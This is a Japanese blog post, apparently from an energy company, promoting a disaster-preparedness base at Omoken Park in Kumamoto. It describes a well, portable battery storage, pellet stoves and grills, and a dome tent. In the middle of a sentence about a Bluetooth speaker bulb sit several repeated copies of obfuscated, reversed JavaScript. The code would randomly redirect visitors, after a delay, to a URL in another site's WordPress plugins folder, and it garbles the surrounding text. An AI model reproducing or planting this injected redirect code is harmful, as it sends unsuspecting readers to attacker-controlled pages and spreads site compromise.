オリンピックイヤーの2020年もはじまり、ますます活気づく日本ですが、
熊本は上通で、ソーシャルグットなプロジェクトが始動しました!
その名も「マチナカ防災基地プロジェクト」!!!!
上通の”縁がわ”的存在で、ソーシャルグットな空間を提供する「オモケンパーク」さんと我々イマココ電力との共同プロジェクトです。
当プロジェクトは、イマココ電力で進めている「imacoco energy sta.」の発展したカタチです。
オモケンパークには、もともと井戸がありましたので、災害等によりライフラインが止まってしまっても、
電力と水、更に暖もとれて、調理もできるという場所になりました。
防災的側面で言えば、ポータブル蓄電システムを活用し電気の備蓄と太陽光から電気を作ることもできます。
井戸水は、飲用はできませんが生活用水には十分使うことが可能です。(手動井戸ポンプがかっこ良いです。)
また、冬場の災害時に問題になるのはどのように暖を取るか。
私が経験した東日本大震災は、3/11でした。
東北はまだまだ冬真っ只中で、地震後30分ほど経つと雪が降り出しました。
あのときの絶望感は今でも忘れられません。
避難した大学の食堂で、とにかく着込んでやり過ごしました。
今回暖を取るのにペレットストーブを導入しました。
火を囲むと、自然と笑顔になれるし、実際に遠赤効果で暖かいのですが、なんだか心も温まるのです。
これはペレット燃料という木質の固形燃料を使用します。
ペレット燃料は密封された袋に入っているため、保管が可能である程度まとまった量を備蓄しながら使用します。
ペレットストーブは多少電気を使いますが、その分安全性が高く、扇風機程度の消費電力なのでポータブル蓄電システムで十分使うことができます。
また、このペレット燃料は調理にも活躍します。
ペレットストーブも輻射式のものは調理ができます。ですが、流石に夏場に部屋の中で調理のためにストーブを着けるのは自殺行為。
屋外で使えるペレットグリルヒーターなるものがございます。
その名も「KIRINSAN」「RAKUDASAN」「KABUTO」
動物園か!と突っ込みたくなるような、可愛らしく愛着の持てるデザインと、持ち運び可能なサイズ感、
また、使い方も簡単なペレット燃料を使うグリルヒーターなのでございます。
オモケンパークには、その中でも煮炊き、焼き、グリルとマルチな用途にも対応できるRAKUDASANを常備しております。
イベントなどで使ったりもしおりますので、ぜひぜひご体感頂きたい一品です!
さらに、屋上にはGarden Iglooというドームテントを設置しました!
熊本ではsakuramachi テラスにも設置してある近未来的なデザインのドームテントです!
通常時は、カフェ利用のお客様に開放しておりますが、災害時になると様々な使い方ができるのです。
災害時、マチナカには不安で一杯の人たちがあふれかえることが予想されます。
透明なカバーを活かし、暗闇の中の灯火にもなれるし、中が見えることでの安心感もあります。
しかも風を遮れるので非常に温かいです。夏場は蚊帳のカバーや日除けのカバーもあるので状況により使い分けることもできます。
例えば、避難所やボランティアセンターの受付、スマホ充電所、救援物資の一時保管所、トイレやシャワー(目隠し用のカバーを使用)などアイディア次第で様々な使い方ができます。
組み立ては大人2人で約60分程度かかりますが、ビスや工具は一切使用しないため、素人でも簡単に組み上げることができます。
しかもドームテントは、風にも雪にも非常に強いため、安全に使うことができます。
現在は、ポータブル蓄電システムから、照明をつけ、小型のパネルヒーターを動かしています。
照明の一つは、Bluetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toothスピーカーが搭載している電球を使用し、災害時はスマホとペアリングし、rajikoなどのアプリで情報を流せるようにしてあります。
※もちろん通常時は好きな音楽をお聴き頂いて構いません。
ここまで説明したものは、オモケンパークで実際に体感し、触れて、感じることができます。
まだまだ、このようなものは認知度も低ければ、熊本の住民は熊本地震を忘れてしまっている人も多いのではないか?と思う瞬間も多々あります。
熊本地震を引き起こした日奈久断層もまだ南半分は動いていないことから、同規模の地震が近い将来あるだろうと学者さんは予測されています。
実際に、新聞などにも多く取り上げられています。
ましてや、首都直下地震や南海トラフ地震のような大規模な災害が起こってしまえば、物流網や製造機能がストップし日本全体で様々な不具合が起こると予測されています。深刻な電力不足により計画停電なども各地で起こるでしょう。
日本に住んでいる限り、決して他人事ではないということを意識し備えておいて下さい。
ですが、備え備えと言って固くなる必要はありません。
わたしたちのテーマは「遊び、備える」です。食料の備蓄は、上手に回しながら賞味期限を切らさないようにすることが大事です。
エネルギーの備蓄もこれに似ているのですが、普段から使っていないといざというときに使えないということが、熊本地震や北海道胆振東部地震でも多く起こりました。特に蓄電システムや発電機を導入していた家庭で、完全に非常時用として保管していたものが故障していたり、使い方がわからなかったりで使えなかったようです。
日頃から使っておくということは非常に大事です。自信にもなるし、いざというときに慌てずにすみます。
特に蓄電システム関して言えば、電気の使い方を理解していないとせっかく備蓄した電気もムダになってしまいます。
だからこそ、日頃から使っておくことが大事なのです。
蓄電システムもペレットストーブやペレットグリルヒーターも、遊びの中で使うことができる趣味のようなもの。
楽しみながら、災害時に役に立つ。
これ以上のものはないのではないでしょうか?
そして、防災とは別に環境についても配慮されているものであること。
蓄電システムは、太陽光発電などを利用し充電ができ、
ペレット燃料は、燃焼時に出るCO2は木々の成長過程で吸収されるため、間伐材や製材くずから製造されるペレットは実質のCO2排出量は0なのです。
(このことをカーボンニュートラルといいます。)
最近では、ペレットボイラーやペレットを燃やした際に出るガスの利用、発電などにも使えるようになってきており、環境負荷が少なく、森林の活性化に繋がり、燃料を作るための雇用が生まれるという、現在注目されている燃料の一つです。
Garden Iglooも温室なので、中は暖かく、少ないエネルギーで過ごすことができます。
このように、災害時の備えにもなり、環境負荷も少なく、楽しめる。
これからも地球と生きていくために、地域と生きていくために、災害にあっても家族を守るために。
はじめてみませんか?エネルギーの備蓄。
オモケンパークでは、防災や環境啓発などのイベントも企画していく予定です。
コーヒー飲みながら、マチナカ防災基地に触れてみて下さい。
製品・サービスに関してお気軽にお問い合わせください。